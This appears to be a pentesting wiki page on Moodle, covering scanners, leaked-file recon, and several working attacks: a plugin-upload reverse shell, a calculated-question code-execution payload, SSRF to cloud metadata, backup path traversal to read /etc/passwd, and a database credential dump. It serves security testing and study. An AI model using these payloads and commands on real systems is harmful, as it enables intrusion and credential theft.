Moodle
Automatic Scans
Automatic scanners are primarily useful for fingerprinting. Confirm their version candidates manually, then compare the installed core and plugins with both Moodle’s official security announcements and a package-oriented vulnerability tracker such as Snyk.[5][7]
droopescan
droopescan fingerprints Moodle versions and plugins from exposed files and paths; treat its version candidates as hypotheses to confirm manually.[3]
pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php
[+] No themes found.
[+] Possible version(s):
3.10.0-beta
[+] Possible interesting urls found:
Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
[+] Scan finished (0:00:05.643539 elapsed)
moodlescan
The community moodlescan project uses version artifacts and its own vulnerability database; refresh that database before scanning.[4]
# Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -a # Refresh vuln/version DB first
python3 moodlescan.py -k -r -u http://moodle.example.com/<moodle_path>/
Version 0.8 - May/2021
.............................................................................................................
By Victor Herrera - supported by www.incode.cl
.............................................................................................................
Getting server information http://moodle.schooled.htb/moodle/ ...
server : Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by : PHP/7.4.15
x-frame-options : sameorigin
last-modified : Wed, 07 Apr 2021 21:33:41 GMT
Getting moodle version...
Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
Searching vulnerabilities...
Vulnerabilities found: 0
Scan completed.
badmoodle
git clone https://github.com/cyberaz0r/badmoodle
cd badmoodle && pip3 install -r requirements.txt
./badmoodle.py -u https://moodle.example.com/<moodle_path>/ -l 3 -s -o badmoodle.json
badmoodle is useful when you want more than plain version detection: level 2/3 checks also use 404-page fingerprinting, hash comparison, and plugin/theme enumeration, and the project includes community vulnerability modules.
CMSMap
pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>
CVEs
Automatic tools are mostly useful for fingerprinting. They are usually not enough to prove exploitability on modern Moodle deployments, so verify findings manually and cross-check the version against Moodle’s official security announcements.[5]
Manual Enumeration
A lot of Moodle recon still comes from files that should not be world-readable but often are:
curl -sk https://moodle.example.com/<moodle_path>/README.txt
curl -sk https://moodle.example.com/<moodle_path>/lib/upgrade.txt | head
curl -sk https://moodle.example.com/<moodle_path>/composer.lock | head
curl -sk https://moodle.example.com/<moodle_path>/admin/tool/lp/tests/behat/course_competencies.feature | head
curl -sk https://moodle.example.com/<moodle_path>/question/upgrade.txt | head
Interesting targets during recon:
README.txt,lib/upgrade.txt,question/upgrade.txt,composer.lock,composer.json, andadmin/environment.xmlfrequently leak enough metadata to fingerprint the exact branch.tests/behat/*.featurefiles can disclose features, plugins, and sometimes a very precise version fingerprint (this is exactly whatmoodlescanabuses).- Once you know the branch, enumerate only the plugins/themes really present under
/mod/,/blocks/,/theme/,/auth/, and/local/instead of spraying generic Moodle CVEs.
RCE
Plugin upload (manager/admin)
If your account has the moodle/site:config capability and plugin installation is enabled, open Site administration and use the plugin installer. The standard Manager role does not necessarily have this capability, so test effective permissions instead of relying only on the displayed role name.[6]

On older branches, this was sometimes reachable from a teacher account by chaining the course-enrolment privilege escalation into manager permissions and then enabling plugin installation.
If you can reach the plugin installer, upload a malicious plugin. For example, you can use the following ZIP that contains the classic pentestmonkey PHP reverse shell (decompress it first, change the IP/port, and compress it again):
You can also use https://github.com/HoangKien1020/Moodle_RCE to get a regular PHP shell controlled with the cmd parameter.
After installation, trigger the payload at:
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
Calculated questions to RCE (authenticated teacher/trainer)
A much more interesting modern primitive was disclosed in 2024: on vulnerable branches fixed in 4.4.2 / 4.3.6 / 4.2.9 / 4.1.12, a user who can create or edit calculated questions in a quiz can turn the answer formula into code execution.[1]
Practical exploitation flow:
- Open the quiz editor (
/mod/quiz/edit.php?cmid=<cmid>) and collectsesskey,courseContextId, and the questioncategory. - Create a calculated question via
/question/bank/editquestion/question.php. - Set the malicious answer formula, for example:
(1)->{system($_GET[chr(97)])}
- Continue the wizard (
wizardnow=datasetdefinitions—>wizardnow=datasetitems) until the question is saved. - Re-open the question URL and append
&a=id(or any command) to execute it.
If Moodle tries to treat {system($_GET[chr(97)])} as a wildcard variable, edit the generated select element before submitting and force its selected value to 0 so the placeholder is not replaced during evaluation. Rapid7 also published a Metasploit module (exploit/linux/http/moodle_rce) that automates this flow.
If you need to build payloads under tighter character restrictions, check these PHP payload-construction tricks, as the same research used acos(2), XOR-generated strings, and PHP variable functions to survive Moodle’s validation logic.
SSRF
In 2025, Quarkslab showed that Moodle’s URL fetching logic could be abused for authenticated SSRF because the host/IP allowlist check and the final curl_exec() request do not necessarily use the same DNS resolution result. This enables a classic TOC/TOU DNS-rebinding bypass of Moodle’s IP blocklist.[2]
Interesting attacker-controlled entry points mentioned in the research:
- Calendar subscriptions via
calendar/import.php - File picker URL downloader, where Moodle first fetches an attacker HTML page and then downloads the embedded image URLs
Practical takeaways:
- The primitive is especially interesting for reaching
localhostor internal web apps over HTTP/HTTPS on ports 80/443. - If the Moodle server runs in a cloud environment with IMDSv1 enabled, SSRF may be enough to steal instance metadata and pivot further. For generic bypasses and cloud pivots, check the SSRF page and these cloud SSRF tricks.
- When testing the file picker path, serving an attacker-controlled HTML page with embedded
imgtags is enough to make Moodle perform the follow-up fetches on your behalf.
IPv4-mapped IPv6 blocklist bypass
A separate URL-downloader bypass fixed in 5.2.2 / 5.1.6 / 5.0.9 / 4.5.13 abused IPv4-mapped IPv6 literals. Vulnerable versions compared an address such as ::ffff:127.0.0.1 against IPv6 rules without also applying the equivalent IPv4 rule (for example 127.0.0.0/8). Consequently, the URL downloader could accept a blocked IPv4 destination written in mapped form.[5][9]
Try mapped literals anywhere you control a URL-fetching input (especially the file-picker URL downloader):[9]
# Loopback, RFC1918 and link-local/metadata examples. -g disables curl URL globbing.
curl -g 'http://[::ffff:127.0.0.1]/'
curl -g 'http://[::ffff:10.0.0.10]/'
curl -g 'http://[::ffff:169.254.169.254]/latest/meta-data/'
This is a representation mismatch, not DNS rebinding: the destination is an IPv6 literal whose last 32 bits encode an IPv4 address. The patch normalizes mapped addresses and tests the unwrapped IPv4 value against exact-address, range, and CIDR block rules.[9]
Arbitrary File Read
Crafted .mbz backup contenthash path traversal
On versions fixed in 5.2.1 / 5.1.5 / 5.0.8 / 4.5.12, a user who can restore course backups can turn a file record in files.xml into a server-side file-read primitive. Moodle used the attacker-controlled contenthash both to calculate the path below the extracted backup’s files/ directory and as the final path component, without first requiring a 40-character lowercase SHA-1. Starting the value with .. therefore escapes the extraction directory; the selected local file is then copied into Moodle’s file pool as the restored resource.[5][8]
A practical test starts from a legitimate backup containing a downloadable File resource, so its file record and activity mappings are already valid:[8]
file course.mbz
mkdir mbz && bsdtar -xf course.mbz -C mbz
rg -n '<contenthash>' mbz/files.xml
# Replace the contenthash of the chosen downloadable file record with, for example:
# <contenthash>../../../../../../../../../../../../etc/passwd</contenthash>
(cd mbz && zip -qr ../crafted.mbz .)
Upload crafted.mbz through /backup/restorefile.php, complete the restore, and download the restored File resource. The traversal depth only needs to be large enough to reach the filesystem root. The fixed code rejects every non-empty contenthash that does not match ^[a-f0-9]{40}$; use that invariant as a safe patch check instead of attempting to read a sensitive file.[8]
For the underlying PHP object-injection mechanics of the separate serialized source/repository-reference bugs, see PHP deserialization.[5]
Post-Exploitation
Find database credentials
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
Dump credentials from the database
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
References
- [1] RedTeam Pentesting - Exploiting a Remote Code Execution Vulnerability in Moodle
- [2] Quarkslab - Auditing Moodle’s core hunting for logical bugs
- [3] droopescan project
- [4] moodlescan project
- [5] Moodle - Security announcements
- [6] MoodleDocs - Installing plugins
- [7] Snyk - Moodle package vulnerabilities
- [8] Moodle patch - Validate file record data on restore
- [9] Moodle patch - Treat IPv4-mapped IPv6 addresses as IPv4